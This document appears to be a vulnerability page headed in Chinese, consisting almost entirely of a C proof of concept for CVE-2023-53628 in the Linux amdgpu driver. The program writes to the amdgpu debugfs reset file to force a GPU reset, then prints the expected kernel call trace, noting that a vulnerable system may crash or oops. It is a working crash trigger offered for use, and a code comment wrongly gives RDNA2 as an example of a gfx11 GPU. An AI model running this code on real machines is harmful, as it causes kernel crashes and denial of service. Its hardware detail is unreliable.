CVE-2023-53628 Linux内核amdgpu驱动中断处理漏洞

// CVE-2023-53628 PoC - Trigger GPU reset via debugfs // This PoC triggers the vulnerability by initiating a GPU reset // on a system with AMD gfx11 architecture GPU (e.g., RDNA2) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // Path to amdgpu debugfs reset file #define AMDGPU_DEBUGFS_RESET "/sys/kernel/debug/dri/0/amdgpu_reset" int main(int argc, char *argv[]) { int fd; char reset_cmd[] = "1"; // Trigger GPU reset ssize_t ret; printf("CVE-2023-53628 PoC - AMDGPU gfx11 Interrupt Handling Vulnerability\n"); printf("Attempting to trigger GPU reset on gfx11 architecture...\n"); // Open the debugfs reset file fd = open(AMDGPU_DEBUGFS_RESET, O_WRONLY); if (fd < 0) { perror("[-] Failed to open amdgpu debugfs reset file"); printf("[*] Make sure you have access to debugfs and amdgpu driver is loaded\n"); printf("[*] Try: mount -t debugfs debugfs /sys/kernel/debug\n"); return 1; } printf("[*] Triggering GPU reset...\n"); // Write to trigger GPU reset ret = write(fd, reset_cmd, strlen(reset_cmd)); if (ret < 0) { perror("[-] Failed to trigger GPU reset"); close(fd); return 1; } printf("[*] GPU reset triggered. Check kernel logs for call trace:\n"); printf(" - gfx_v11_0_hw_fini+0x23/0x1e0 [amdgpu]\n"); printf(" - gfx_v11_0_suspend+0xe/0x20 [amdgpu]\n"); printf(" - amdgpu_device_ip_suspend_phase2+0x240/0x460 [amdgpu]\n"); printf(" - amdgpu_device_gpu_recover.cold+0x548/0xce6 [amdgpu]\n"); close(fd); printf("[*] If vulnerable, system may crash or show kernel oops\n"); return 0; }